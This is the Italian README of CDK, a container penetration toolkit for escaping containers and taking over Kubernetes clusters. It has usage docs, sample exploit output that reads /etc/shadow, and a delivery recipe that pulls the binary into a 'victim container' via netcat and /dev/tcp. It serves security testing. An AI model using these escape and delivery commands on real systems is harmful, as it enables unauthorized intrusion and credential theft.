CDK - Toolkit di Penetrazione per Container a Zero Dipendenze

Inglese | 简体中文

Dichiarazione di non responsabilità legale

L'uso di CDK per attaccare bersagli senza previo consenso reciproco è illegale. CDK è destinato esclusivamente a scopi di test di sicurezza.

Panoramica

CDK è un toolkit di penetrazione per container open-source, progettato per offrire sfruttamento stabile in diversi container snelli senza alcuna dipendenza dal sistema operativo. Viene fornito con utili net-tools e molti potenti PoC/EXP e ti aiuta a fuggire dal container e a prendere il controllo del cluster K8s facilmente.

Avvio rapido

Esegui cdk eva per ottenere informazioni di valutazione e un exploit raccomandato, quindi esegui cdk run per avviare l'attacco.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Installazione/Consegna

Scarica l'ultima release da https://github.com/cdk-team/CDK/releases/

Inserisci i file eseguibili nel container di destinazione e inizia i test.

SUGGERIMENTI: Consegnare CDK nel container di destinazione in un test di penetrazione reale

Se hai un exploit che può caricare un file, allora puoi caricare direttamente il binario di CDK.

Se hai un exploit RCE, ma il container di destinazione non ha curl o wget, puoi utilizzare il seguente metodo per consegnare CDK:

1. First, host CDK binary on your host with public IP.

(on your host)
nc -lvp 999 < cdk

2. Inside the victim container execute

cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Utilizzo

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

Caratteristiche

CDK ha tre moduli:

1. Valutazione: raccogli informazioni all'interno del container per trovare potenziali debolezze.
2. Exploit: per fuga dal container, persistenza e movimento laterale
3. Strumenti: net-tools e API per richieste TCP/HTTP, tunnel e gestione del cluster K8s.

Modulo di Valutazione

Utilizzo

cdk evaluate [--full]

Modulo Exploit

Elenca tutti gli exploit disponibili:

cdk run --list

Esegui exploit mirato:

cdk run <script-name> [options]

Nota su Thin: La thin release è preparata per shell di container a vita breve come funzioni serverless. Aggiungiamo tag di build nel codice sorgente e tagliamo alcuni exploit per rendere il binario più leggero. Il file da 2 MB contiene il 90% delle funzioni di CDK, inoltre puoi selezionare exploit utili dal codice sorgente di CDK per creare il tuo binario leggero personalizzato.

Modulo Strumenti

Esecuzione di comandi come in Linux, leggermente diversa negli argomenti di input, vedi il link di utilizzo.

cdk nc [options]
cdk ps

Documentazione della Release

Se vuoi sapere come abbiamo rilasciato una nuova versione, come viene prodotta la thin, perché forniamo versioni upx, quali sono le differenze tra le diverse versioni (all, normal, thin, upx) e come scegliere exploit e strumenti CDK specifici per compilare una release personalizzata, consulta il Documento di Rilascio.

Documentazione per Sviluppatori

• esegui test nel container.

Contribuire a CDK

Innanzitutto, grazie per aver dedicato del tempo a contribuire!

Grazie ai seguenti contributori:

Altri contributori: Elenco Contributori

Segnalazione di Bug

I bug vengono tracciati come GitHub Issues. Crea un issue con la versione corrente di CDK, il messaggio di errore e l'ambiente. Descrivi i passaggi esatti che riproducono il problema.

Suggerire Miglioramenti

I suggerimenti di miglioramento vengono tracciati come GitHub Discussions. Puoi pubblicare qualsiasi pensiero qui per discutere direttamente con gli sviluppatori.

Pull Requests

Risolvere problemi o mantenere la qualità di CDK:

• Descrivi la versione corrente di CDK, l'ambiente, il problema e i passaggi esatti che riproducono il problema.
• Screenshot o log in esecuzione prima e dopo aver risolto il problema.

Nuova funzionalità o exploit:

• Spiega perché questo miglioramento sarebbe utile ad altri utenti.
• Si prega di consentire un ambiente sostenibile per la revisione dei contributi.
• Screenshot su come funziona questa nuova funzionalità.
• Se stai effettuando il commit di nuovi script di valutazione/exploit, aggiungi una semplice documentazione al tuo messaggio PR, ecco un esempio.

Eventi

404StarLink 2.0 - Galaxy

Il progetto CDK è ora incluso in 404Team Starlink Project 2.0. Unisciti alla comunità StarLink per entrare in contatto con il team di sviluppo di CDK.

• https://github.com/knownsec/404StarLink2.0-Galaxy#community

BlackHat Asia 2021 Arsenal

• https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422

HITB SecConf 2021 Amsterdam

• Briefing: "Attack Cloud Native Kubernetes"

WHC 2021 (补天白帽大会)

• CDK: Anche uno strumento fantastico per Bug Bounty per piattaforma Cloud

KCON 2021 Arsenal

• http://kcon.knownsec.com/2021/#/arsenal

Kubernetes community Days 2021

• https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/